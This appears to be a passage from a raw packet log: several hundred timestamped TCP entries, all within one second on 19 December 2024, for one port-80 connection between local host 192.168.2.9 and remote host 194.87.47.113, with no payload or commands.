Dec 19, 2024 08:01:09.127357006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.127681971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127695084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127707958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.127738953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.128133059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128146887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128159046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128182888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.128200054 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.128906012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128916979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128926039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.128968954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.129714966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.129726887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.129743099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.129757881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.129786968 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.130461931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.130475044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.130491018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.130530119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.131263018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.131275892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.131310940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.132076025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.132091045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.132122993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.134280920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.134294033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.134335041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.134469032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.134483099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.134499073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.134509087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.134531021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.135152102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.135164976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.135171890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.135231018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.136054039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.136065960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.136079073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.136095047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.136123896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.136701107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.136713028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.136773109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.137520075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.137533903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.137590885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.137609005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.137624979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.137655973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.138513088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.138525963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.138562918 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.138822079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.140935898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.140995979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.273344040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.274682999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.274694920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.274750948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275382042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275398016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275429964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275497913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275516987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275530100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275530100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275542974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275559902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275561094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275573015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275588989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275618076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275629044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275641918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.275645971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275671959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.275710106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.306854010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.306874990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.306890011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.306921959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.306941032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.307357073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.307384968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.307398081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.307419062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.308281898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.308300972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.308314085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.308327913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.308329105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.308346033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.309174061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309190989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309205055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309215069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.309240103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.309900999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309916019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309927940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.309952021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.310836077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.310853004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.310867071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.310882092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.311050892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.311148882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311162949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311177015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311203003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.311449051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311461926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311475992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311486959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.311512947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.311716080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311738968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311753035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.311781883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.312546015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.312561035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.312575102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.312619925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.313302994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.313317060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.313329935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.313374043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.316843987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.316864014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.316884041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.317137957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317173958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317187071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317187071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.317199945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317214012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317229033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317234993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.317243099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317253113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.317277908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.317612886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317626953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317640066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.317661047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.318341970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.318365097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.318380117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.318464994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.318464994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.319262028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.319274902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.319287062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.319319010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.319953918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.319967985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.319997072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.320066929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.320101023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.320811033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.320823908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.320837021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.320880890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.321512938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.321527004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.321538925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.321556091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.321583986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.322052002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322062969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322077036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322098970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.322257042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322293043 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.322396994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322408915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.322441101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.323142052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323153973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323165894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323201895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.323694944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323708057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323729038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.323753119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.323776007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.324496984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327220917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327241898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327255011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327266932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327274084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.327280045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327287912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.327296019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.327318907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.328229904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328244925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328257084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328277111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.328305006 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.328737974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328751087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328763008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.328779936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.330467939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.330480099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.330492020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.330514908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.330543041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.331202030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.331213951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.331226110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.331247091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.332062960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.332081079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.332098007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.373442888 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.465132952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465153933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465178967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465277910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465306044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465322971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465353012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465359926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.465415001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.465751886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465765953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465781927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.465789080 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.465815067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.466270924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.466325998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.466340065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.466361046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.466947079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.466984034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.497998953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498017073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498033047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498070002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.498231888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498275042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498277903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.498291016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.498320103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.499049902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.499066114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.499103069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.499305010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.499340057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.499355078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.499371052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.499998093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500017881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500031948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.500035048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500066042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.500708103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500731945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500747919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.500762939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.501528025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.501543045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.501559019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.501562119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.501583099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.502227068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.502726078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.502748013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.502759933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.502772093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.502785921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.502803087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.503566980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.503582001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.503597021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.503604889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.503628016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.504321098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.504336119 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.504349947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.504364967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.505059004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505089998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505098104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.505104065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505135059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.505821943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505846977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505861044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.505878925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.506593943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.506632090 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.506634951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.506650925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.506684065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.507363081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.507400036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.507414103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.507432938 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.508188009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.508202076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.508218050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.508224964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.508244991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.508991003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509011030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509026051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509037971 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.509716034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509731054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509753942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.509756088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.509785891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.510471106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.510548115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.510561943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.510581970 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.511310101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.511333942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.511349916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.511356115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.511378050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.512058973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512084007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512099028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512120008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.512847900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512862921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512877941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:09.512885094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:09.512908936 CET	49739	80	192.168.2.9	194.87.47.113
